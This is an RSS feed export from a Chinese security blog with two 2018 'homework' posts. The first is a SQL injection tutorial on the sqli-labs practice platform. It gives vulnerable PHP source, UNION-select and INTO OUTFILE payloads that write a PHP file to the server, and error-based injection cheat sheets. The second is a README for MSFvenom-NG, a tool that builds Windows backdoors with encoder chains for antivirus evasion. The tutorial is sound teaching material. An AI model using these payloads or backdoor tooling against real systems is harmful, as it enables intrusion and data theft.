<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>作业 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E4%BD%9C%E4%B8%9A/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 23 Jul 2018 04:55:09 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>[小东]6月份作业之SQL注入基础-基于Sqli-lab平台</title>
		<link>/web/434.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 24 Jun 2018 05:39:23 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[作业]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=396</guid>

					<description><![CDATA[简介：SQL注入是一个常见的漏洞，在所有的安全防护统计数据儿结果中显示，SQL注入几乎占据网络攻击问题的60%左右，由此可见SQL注入漏洞是一种常见的WEB漏洞，了解SQL注入对于...]]></description>
										<content:encoded><![CDATA[<p>简介：SQL<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>是一个常见的漏洞，在所有的安全防护统计数据儿结果中显示，SQL注入几乎占据网络攻击问题的60%左右，由此可见SQL注入漏洞是一种常见的WEB漏洞，了解SQL注入对于网络安全工作者或安全爱好者来说，是非常有必要，本文章主要通过sqli平台来具体阐述SQL注入漏洞产生的原因和利用方法。</p>
<h1>0x00 SQL注入漏洞简介</h1>
<p>有关SQL注入的各种定义阐述已经很多，大家可自行使用搜索引擎搜索即可，小东不再赘述。</p>
<h1>0x01 SQL注入产生的原因</h1>
<p>简单来说，每天熬夜敲代码的程序员，写程序的时候，没有考虑到程序在与数据库交互时会产生一些安全问题，倘若没有对用户输入的数据正确判断、过滤，就会导致用户可以构造恶意的payload来获取更多的数据( 执行用户的任意操作 )，甚至是Download数据库，导致信息泄漏，甚至导致受害人受到人身攻击或威胁。</p>
<p>0x02 SQL注入检测方式<br />
常见的SQL注入是基于sql语言来的，有 SELECT UPDATE INSERT 这三种SQL语句，注入原理都是类似的，了解一下SQL语法即可，下面以SELECT查询语句为例子。</p>
<h2>1. SELECT 类型</h2>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-2dcf230679702b6c?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-2dcf230679702b6c?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="355" /></a></p>
<p>源码：</p>
<pre class="lang:default decode:true ">&lt;?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

if(isset($_GET['id']))
{
$id=$_GET['id'];   //获取id值

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  //SQL查询语句
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
    if($row)   //如果有数据，查询到了结果（根据sql语句输出条件还可以盲注，以后再讲）
    {
      echo "&lt;font size='5' color= '#99FF00'&gt;";
      echo 'Your Login name:'. $row['username'];
      echo "&lt;br&gt;";
      echo 'Your Password:' .$row['password'];
      echo "&lt;/font&gt;";
      }
    else //否则输出错误消息
    {
    echo '&lt;font color= "#FFFF00"&gt;';
    print_r(mysql_error());  //此处输出了mysql的错误消息，正常的线上产品，这种调试输出的语句都得注释或删除
    echo "&lt;/font&gt;";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}  //如果用户没有传递id值则在页面输出这一句话，如第一幅图所示

?&gt;</pre>
<h2>2.检测SQL注入</h2>
<p>通过上面的源码分析，如果我们的SQL语句有错误，那么将会输出错误信息，也就说明了SQL语句没有正确执行，用户提交的而数据导致了程序原本的SQL语句失效。<br />
检测方法常见在参数后面加上&#8217; and 1=1 and 1=2 xor 1=1 等等来判断是否存在SQL注入(是否过滤)，如下所示</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-cae48cbf7ecbfa52?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-cae48cbf7ecbfa52?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="315" /></a></p>
<p>&nbsp;</p>
<h2>3.构造Payload</h2>
<pre class="lang:default decode:true">http://www.test.com/Less-1/index.php?id=-1%27%20union%20select%20user(),database(),version()%20%23</pre>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-789fcb3bdaef2175?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-789fcb3bdaef2175?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="381" /></a></p>
<p>妥妥的SQL注入，一般情况下，注入是不会有数据回显的，这时候我们就可以通过SQL盲注的方式，或者简单粗暴的SQL查询写文件的方式，盲注挺麻烦的，一个个手工猜解当然是不可能的，当我们构造好了payload只需要用Python写个脚本，跑一下就行了，SQL盲注放到下篇文章再讲，写文件的方式需要：</p>
<p>知道绝对路径<br />
知道该文件有可写入的权限，一般选择缓存文件夹cache<br />
如下可写入文件：</p>
<p><span class="lang:default decode:true crayon-inline">http://www.test.com/Less-1/index.php?id=-1%27%20union%20select &#8216;&lt;?php phpinfo(); ?&gt;&#8217; into outfile &#8216;D:\\Server\\sqli\\Less-1\\1.php&#8217; %23</span></p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-d82b4fee2057ff47?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-d82b4fee2057ff47?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="565" /></a></p>
<p>访问，即可在当前Less-1目录下生成一个1.php文件，会显示输出phpinfo信息<br />
访问：http://www.test.com/Less-1/1.php</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-71e9bacec7e590c5?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-71e9bacec7e590c5?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" width="1240" height="679" /></a></p>
<h1>0X03 总结</h1>
<p>总的来说，SQL注入漏洞很常见，在代码审计的时候是一个需要格外重视的漏洞，即使程序有做过滤，多思考，结合程序其他的漏洞，配合起来就可以绕过过滤，文章有不妥之处，还望批评指正，联系QQ：1099718640！</p>
<h1>0x04 更多解题过程Word文档下载地址：</h1>
<p>蓝奏网盘：<a href="https://www.lanzous.com/i18ww4h" target="_blank" rel="noopener">https://www.lanzous.com/i18ww4h</a><br />
百度网盘：<a href="https://pan.baidu.com/s/1_yNCrK4uMm7rCNzWIdVthw" target="_blank" rel="noopener">https://pan.baidu.com/s/1_yNCrK4uMm7rCNzWIdVthw</a></p>
<h1>0x05 补充</h1>
<p>Mysql中的注释符</p>
<pre class="lang:default decode:true ">#
-- 
/*...*/
/*!...*/ 内联注释 /*!50select*/（mysql版本大于50执行）</pre>
<p>常见函数</p>
<pre class="lang:default decode:true ">system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003</pre>
<p>字符串拼接函数：</p>
<pre class="lang:default decode:true ">  concat(str1,str2)
concat_ws(separator, str1,str2...)
group_concat(str1,str2......)</pre>
<p>布尔注入、延时注入用到的一些 函数</p>
<pre class="lang:default decode:true ">1， exists()
2， ascii()
3， substr()


exists()函数：
esists 用于检查子查询是否会返回一行数据，该子查询实际上并不返回任
何数据，而是返回True或False。

ascii()函数：
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串，返回0。如果
str是NULL，返回NULL。

substr( ) 函数：
substr(string, num start, num length) start #从第1位开始，。
string 为字符串；
start为起始位置；
length为长度。
substr(database(),1,1); xss
x
limit 0,1
0 查询的位置，0表示第一行，
1 查询的条数</pre>
<p>报错注入用到的一些函数</p>
<pre class="lang:default decode:true ">floor() 
floor(x),有时候也写做Floor(x)，其功能是“向下取整”，或者说“向下
舍入”，即取不大于x的最大整数
1.select * from admins where id=1 and (select 1 from (select count(*)
,concat(user(),floor(rand(0)*2))x from information_schema.tables gr
oup by x)a);
2.获取有多少个数据库 and (select 1 from(select count(*),concat((select
(select (select concat(0x7e,count(schema_name),0x7e) from
information_schema.schemata)) from information_schema.tables
limit 0,1),floor(rand(0)*2))x from information_schema.tables group
by x)a)

通过limit 获取所有数据库名
and (select 1 from(select count(*),concat((select
(select (select concat(0x7e, schema_name, 0x7e)
from information_schema.schemata limit 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)</pre>
<p>常见报错函数：</p>
<pre class="lang:default decode:true ">ExtractValue函数：
EXTRACTVALUE (XML_document, XPath_string);
第一个参数：XML_document是String格式，为XML文档对象的
名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串).
作用：从目标XML中返回包含所查询值的字符串

and extractvalue(1, payload)


UpdateXML函数：
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的
名称，文中为Doc 1
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解
Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的
数据
作用：改变文档中符合条件的节点的值

+and updatexml(1,payload,1)</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[X1r0z]6月份作业之MSFvenom-NG</title>
		<link>/code/433.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 24 Jun 2018 05:35:47 +0000</pubDate>
				<category><![CDATA[编程学习]]></category>
		<category><![CDATA[作业]]></category>
		<guid isPermaLink="false">/?p=394</guid>

					<description><![CDATA[MSFvenom-NG ___ _____ ___&#124; _&#124;_ _ ___ ___ ___ _____ &#124; &#124;_ -&#124; _&#124; &#124; &#124; -_&#124; &#124; . &#124; &#124; &#124;_&#124;_&#124;_&#124;___&#124;_...]]></description>
										<content:encoded><![CDATA[<h1>MSFvenom-NG</h1>
<pre><code>           ___
 _____ ___|  _|_ _ ___ ___ ___ _____
|     |_ -|  _| | | -_|   | . |     |
|_|_|_|___|_|  \_/|___|_|_|___|_|_|_|
         	MSFvenom-NG
</code></pre>
<h2><a id="user-content-introduction" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#introduction" aria-hidden="true"></a>Introduction</h2>
<p>MSFvenom-NG 是一款交互式 Windows (EXE/DLL Powershell) 后门生成工具</p>
<p>支持自定义编码规则 Bypass 杀毒软件</p>
<h2><a id="user-content-usage" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#usage" aria-hidden="true"></a>Usage</h2>
<p><code>python3 main.py</code></p>
<p>程序第一次运行会进行初始化 (创建 <code>tmp</code> 目录并生成 <code>config.json</code> <code>rules.json</code>)</p>
<pre><code>[*] Initializing
[+] Initialized successfully

    	   ___
 _____ ___|  _|_ _ ___ ___ ___ _____
|     |_ -|  _| | | -_|   | . |     |
|_|_|_|___|_|  \_/|___|_|_|___|_|_|_|
         	MSFvenom-NG
         		Ver: 1.1
    	

        (E)XE/DLL Backdoor
        (P)owershell Backdoor
        (S)tart msf Listener
        (C)ustom Settings
        (Q)uit
        
MSFvenom-NG&gt;:
</code></pre>
<h2><a id="user-content-enc" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#enc" aria-hidden="true"></a>Enc</h2>
<p>编码规则位于 <code>rules.json</code> 中</p>
<pre><code>{
"x86": {
	"test_rule": "S1"
	}
}
</code></pre>
<p>格式: 字母+数字 (编码器 编码次数)</p>
<p>字母对应的编码器位于 <code>lib/enc.py</code> 中</p>
<pre><code>x64:

	X: x64/xor
	Z: x64/zutto_dekiru

x86:

	F: x86/add_sub
	H: x86/alpha_mixed
	E: x86/alpha_upper
	R: x86/avoid_underscore_tolower
	U: x86/avoid_utf8_tolower
	X: x86/bloxor
	B: x86/bmp_polyglot
	C: x86/call4_dword_xor
	P: x86/context_cpuid
	T: x86/context_stat
	I: x86/context_time
	D: x86/countdown
	M: x86/fnstenv_mov
	J: x86/jmp_call_additive
	K: x86/nonalpha
	L: x86/nonupper
	O: x86/opt_sub
	V: x86/service
	S: x86/shikata_ga_nai
	G: x86/single_static_bit
	Y: x86/unicode_mixed
	N: x86/unicode_upper
</code></pre>
<p><code>Ex: S5D3E2 (x86/shikata_ga_nai x5 x86/countdown x3 x86/alpha_upper x3)</code></p>
<p><em>Powershell 默认使用 cmd/powershell_base64 编码器</em></p>
<h2><a id="user-content-changelog" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#changelog" aria-hidden="true"></a>CHANGELOG</h2>
<pre><code>2017-06-24 Updated Ver:1.2 添加自定义设置 listener, 一键启动 metasploit 监听器
2018-06-23 Updated Ver:1.1 重构代码,只针对 Windows 平台,支持 encoder
2018-02-24 Released Ver:1.0 多平台 payload 生成
</code></pre>
<h2><a id="user-content-todo" class="anchor" href="https://github.com/X1r0z/msfvenom-ng#todo" aria-hidden="true"></a>TODO</h2>
<p>免杀 Meterpreter 监听流量</p>
<p>自定义设置 (指定 msf 路径 默认参数&#8230;)</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
